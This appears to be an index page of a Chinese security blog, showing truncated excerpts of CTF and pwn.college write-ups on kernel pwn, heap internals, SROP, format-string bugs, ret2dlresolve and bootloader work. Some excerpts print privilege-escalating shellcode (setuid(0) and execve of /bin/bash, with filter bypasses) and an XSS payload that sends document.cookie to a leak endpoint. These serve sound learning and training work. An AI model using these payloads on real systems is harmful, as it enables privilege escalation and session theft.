Kernel Pwn 初探
前言本文不会过多涉略内核的基础知识, 至少不会从基础知识谈起。怀着打开新世界的雀跃, 我们将直接从实战的角度出发, 径直走入kernel pwn的世界。 环境与工具环境一道kernel pwn题目, 往往包含以下几个部分: 内核模块文件(.ko): 这是题目的核心, 也是一般我们与之交互的对象。.ko(kernel object)与.so(shared object)相对, 在Linux系统中被称作可加载内核模块(LKMs, Loadable Kernel Modules), 在内核启动后, 可以通过”insmod”或”modprobe”命令将模块加载进内核.当尝试加载模块进内核时, 内核会执行以下操作: 入口点调用:内核根据模块定义的 module_init(init), 找到对应的init函数并执行。 注册接口: 使用register_chrdev或proc_create(filename, …, &fops)等在/dev、/sys或/proc目录下创建一个对应filename的伪文件。而fops(File Operations)是模块...
imaginary-CTF-stillerer-printf
题目概述本题是来自imaginary CTF 2025的一道格式化字符串漏洞题目, 开启了PIE及FULL RELRO保护, 无canary, 栈不可执行。题目首先读取一个size值,然后根据该size读取对应长度的数据到栈中并将size对应的缓冲区最后一个字节置为\0,最后将栈中的数据作为格式化字符串传入printf函数进行输出。 void win() { /* ... give you the flag ... */}int main() { char buf[0x300]; unsigned int sz; read(0, buf, 4); sz = atoi(buf); if (sz < 0x300) { read(0, buf, sz); buf[sz-1] = '\0'; printf(buf); _exit(0); } exit(1);} [*] '/mnt/d/De...
heap
ptmalloc2ptmalloc2是现代Linux系统中glibc默认的内存分配器,基于Doug Lea的malloc(dlmalloc),在此基础上添加POSIX线程支持的多线程版(POSIX Thread Malloc)。 ptmalloc2的核心逻辑几乎全部集中在malloc()和free()两个函数的实现中(glibc/malloc/malloc.c),其他内存分配函数如realloc()、calloc()(分配n个连续的堆块并对内存进行清零)等都只是在这两者的基础上的封装。 在ptmalloc2中,堆内存的组织结构为chunk和bin: chunk:块是实际分配的内存单元,每次malloc都对应一个chunk。每个chunk包含元数据和用户数据两部分,元数据存储在chunk的前面,用于管理chunk的状态和大小等信息,大小为16字节(64位系统)。 bin: 桶是相同大小chunk的分类链表,用于快速重用空闲块。 unsorted bin: 只有一个bin双向链表,对应bins索引1,里面的chunk没有进行排序。 small bins: 共62...
SROP
拖了快半年了, 终于来把这个坑给填上. SROPSROP全称Sigreturn Oriented Programming, 指利用Linux系统调用rt_sigreturn来进行ROP攻击的技术. 这种技术利用了sigreturn系统调用的特性, 允许攻击者通过构造特定的栈帧来控制寄存器的值, 从而实现任意代码执行. 虽说SROP被归类为高级ROP的一种, 但其实它的原理并不复杂. 主要是利用了sigreturn系统调用的机制, 在执行该系统调用时, 内核会从用户空间的栈中恢复寄存器的状态, 即将当前$rsp指向的一块区域视为所谓的Signal Frame, 然后将其中的内容加载到相应的寄存器中. 通过精心构造这个Signal Frame, 攻击者可以将所有寄存器设置为任意值。 对于Signal Frame来说,会因为架构的不同而有所区别,这里给出分别给出x86以及x64的sigcontext: x86 sigcontextstruct sigcontext{ unsigned short gs, __gsh; unsigned short fs, __fsh; ...
format string
格式化字符串漏洞格式化字符串漏洞是由于程序在处理用户输入的格式化字符串时,没有正确验证输入内容,导致攻击者可以通过精心构造的格式化字符串来读取或写入内存中的任意数据,从而实现信息泄露或代码执行等攻击。 一般通过以下格式化符触发漏洞: %N$x: 读取寄存器或栈上第N个数据并以十六进制格式输出 %N$p: 读取寄存器或栈上第N个数据并以指针格式输出 %N$s: 读取寄存器或栈上第N个地址并输出该地址指向的字符串;若出现在scanf中且未限制长度,则存在缓冲区溢出漏洞 %N$n: 将已经输出的字符数写入寄存器或栈上第N个地址指向的内存位置 %Nc: 打印一个字符并用空格填充到N个字符 %*N$c: 打印一个字符并用空格填充到width个字符,width的值从栈上第N个数据获取(int类型) 其中使用%N$x和%N$p可以泄露栈上的数据,而使用%N$s结合栈上的地址几乎可以进行任意地址读;使用%Nc与%N$n再结合栈上的地址可以实现任意地址写。 对于栈上构造地址,一般有两种情况: 一是可以直接对栈进行写操作,则可以直接将地址写入栈中; 而当无法直接写入栈时(比如只能向.bss段写...
pwn.college刷题小记(二):Program Security
Shellcode Injectionlevel 4禁止”0x48”(h), 即64位寄存器前缀, 使用32位寄存器即可(push, pop除外)。 // 先提权, 再启动bash。// setuid(0x69)为root(0)mov eax, 0x69mov edi, 0syscall// execve(0x3b) bashmov eax, 0x3blea edi, [rip+bash]mov esi, 0mov edx, 0syscallbash:.string "/bin/bash" level 5不能包含syscall(0x0f 0x05)、int(0x80)等指令, 使用执行时写即可。 mov bl, 0x0fmov [rip+syscall0], blmov bl, 0x05mov [rip+syscall1], blsyscall0:.byte 0x00syscall1:.byte 0x00 level 6新分配页不可写, 但栈可执行, 将系统调用在执行时写进栈中即可(使用jmp或call指令跳转)。 mov bl, 0x0fmov [rsp...
pwn.college刷题小记(一):Start
Web SecurityCSRF(Cross-Site Request Forgery)csrf-3, 要求执行alert脚本, 但alert必须来自80端口, 故不能直接从本站将脚本发给victim, 需要使用csrf插入xss。 payload = """<script>alert("pwn")</script>""" csrf-4, 本可以直接使用csrf将draft设置为publish, 但本题做了限制, 即使publish, 但如果是admin的publish也不会公开, 因此只能通过获取cookie伪造admin登录。 payload = """ <script> (new Image()).src = "http://localhost:1337/leak?cookie=" + document.cookie; </script>""" csrf-...
ret2dlresolve
PLT & GOT当程序需要链接动态库时,就无法在load阶段甚至动态链接阶段前得知诸如动态链接函数的具体地址。而解析动态链接符号是一个相对比较耗时的工作,因此,为提高加载效率,在一般的动态链接过程中,会将符号解析推迟到第一次使用该符号时进行,即延迟绑定(Lazy binding)。 延迟绑定需要两个额外的section,首先是位于RW LOAD段的.got节,即global offset table, 全局偏移表。实际上, .got节还分为两个子节,分别为数据表和过程表,而我们在延迟绑定中只关注过程表, 因此后续所说的got表均指的是.got.plt节的内容。got表是一个8字节数组,其中前三项分别保存着.dynamic节起始地址、link_map结构体链表头以及_dl_runtime_resolve解析函数,从第四项开始,依次保存着需要动态链接的函数的地址,但由于是延迟绑定,这个地址只有在解析函数解析后才会被写回got表,在加载阶段,这里存放的是其他地址值。 接着是位于RE LOAD段的.plt节,即procedure linkage table, 过程链接表, 保...
操作系统实现(三):二级引导程序loader
本节背景一级引导程序将处理器控制权交出后,便由二级引导程序完成主要的引导任务,包括硬件信息检测、处理器模式转换、页表配置等,并最终实现控制权向内核程序的转移。 本节目的 编写二级引导程序loader.asm 将二级引导程序装载到虚拟软盘镜像中 编写Makefile文件 实现由于自本节起,每节的任务量及代码量陡增,故不再依次贴上对应模块的代码,只有关键部分放相应代码,完整代码在github上查看。 首先照例定义本部分需要用到的常量,并规定起始地址0x10000。 此地址与boot的起始地址0x7c00的规定不同,boot的起始地址是早期的Intel大叔们规定并延续至今,在BIOS中写死的;而loader的起始地址是我们在boot中自己设置的,是在物理内存中较为随便地找出一块合适的空闲区域放置(具体物理内存空间分配见文章末尾)。 接着寄存器设置、清屏及显示加载信息等操作。 在完成了上述准备工作后,便是二级引导程序的第一个重点——加载内核程序。 实模式 -> 保护模式 -> Big Real Mode为了后续能够加载内核到1MB以上的内存,我们需要先打开A20地址线(关于...
